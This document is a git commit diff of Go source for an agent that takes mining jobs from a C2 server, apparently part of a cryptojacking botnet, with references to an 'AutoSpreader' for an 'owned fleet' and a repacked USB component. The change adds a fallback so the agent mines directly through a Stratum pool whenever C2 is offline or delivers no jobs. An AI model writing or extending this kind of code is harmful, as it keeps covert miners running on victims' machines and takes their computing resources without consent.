fix: mining always starts, RVN pool in Calibrate, USB repacked

This commit is contained in:
AetherForge
2026-06-02 23:17:53 -07:00
parent b18007f563
commit 34c12107ed
8 changed files with 1181 additions and 21 deletions

View File

@@ -45,6 +45,11 @@ type AgentClient struct {
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
// situations and start direct Stratum mining after a timeout.
lastJobAt atomic.Value // stores time.Time
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
@@ -348,6 +353,7 @@ func (c *AgentClient) handleMessage(msg Message) {
return
}
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
c.lastJobAt.Store(time.Now())
c.pool.SetJob(&j)
case "share_result":
var result ShareResult
@@ -800,10 +806,31 @@ func (c *AgentClient) write(msg Message) error {
return c.conn.WriteJSON(msg)
}
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
// connection after 30 seconds of being disconnected from the C2 server.
// When C2 reconnects the Stratum session is stopped and the share handler is
// restored to the C2 WebSocket path.
// needsStratumFallback returns true when either:
// - C2 is offline for > 30 seconds, OR
// - C2 is online but no mining job has been delivered in > 90 seconds
// (the pool proxy on the server is broken or still connecting)
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
if !c.connected.Load() {
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
}
// Connected but jobless: check when the last valid job arrived.
if raw := c.lastJobAt.Load(); raw != nil {
lastJob := raw.(time.Time)
return time.Since(lastJob) > 90*time.Second
}
// Never received a job; fall back after 90s of being connected with nothing to mine.
// Use disconnectedSince as a proxy for "connected since" (it's zeroed on connect).
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 90*time.Second
}
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
// It spins up a direct Stratum connection when:
// - C2 has been offline for 30+ seconds, OR
// - C2 is connected but the server pool proxy has not delivered a job in 90+ seconds
//
// When real jobs start flowing from C2 again, the fallback is stopped and the
// share handler is restored to the C2 WebSocket path.
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
@@ -815,44 +842,81 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
}
var fb *fallback
// disconnectedSince tracks the start of the current disconnection window.
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
// kept until reconnection. This is also used to measure "connected but
// jobless" time when the server pool proxy is broken.
var disconnectedSince time.Time
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
stopFallback := func() {
startFallback := func() {
if fb != nil {
return
}
stop := make(chan struct{})
wait := make(chan struct{})
sc := miner.NewStratumClient(c.pool, c.cfg)
go func() {
defer close(wait)
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
if c.connected.Load() {
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
} else {
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
}
}
stopFallback := func(reason string) {
if fb != nil {
close(fb.stop)
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
log.Printf("[stratum] fallback stopped — C2 connection restored")
log.Printf("[stratum] fallback stopped — %s", reason)
}
}
for {
select {
case <-done:
stopFallback()
stopFallback("agent shutting down")
return
case <-ticker.C:
if c.connected.Load() {
disconnectedSince = time.Time{}
stopFallback()
connected := c.connected.Load()
// Track disconnection time (reset to zero while connected).
if connected {
if fb != nil {
// Check if real jobs are flowing again; if so, drop the fallback.
if raw := c.lastJobAt.Load(); raw != nil {
lastJob := raw.(time.Time)
if time.Since(lastJob) < 15*time.Second {
disconnectedSince = time.Time{}
stopFallback("C2 pool delivering jobs again")
continue
}
}
} else {
// Reset the "no-job" timer every time we are connected and
// the pool is delivering (or we have not started timing yet).
if raw := c.lastJobAt.Load(); raw != nil {
disconnectedSince = time.Time{}
}
}
} else {
// Record when we first went offline.
if disconnectedSince.IsZero() {
disconnectedSince = time.Now()
}
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
stop := make(chan struct{})
wait := make(chan struct{})
sc := miner.NewStratumClient(c.pool, c.cfg)
go func() {
defer close(wait)
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
}
// Stop fallback when C2 comes back; it will resume on next job.
// (We keep the fallback alive while offline — don't stop it here.)
}
if fb == nil && c.needsStratumFallback(disconnectedSince) {
startFallback()
}
}
}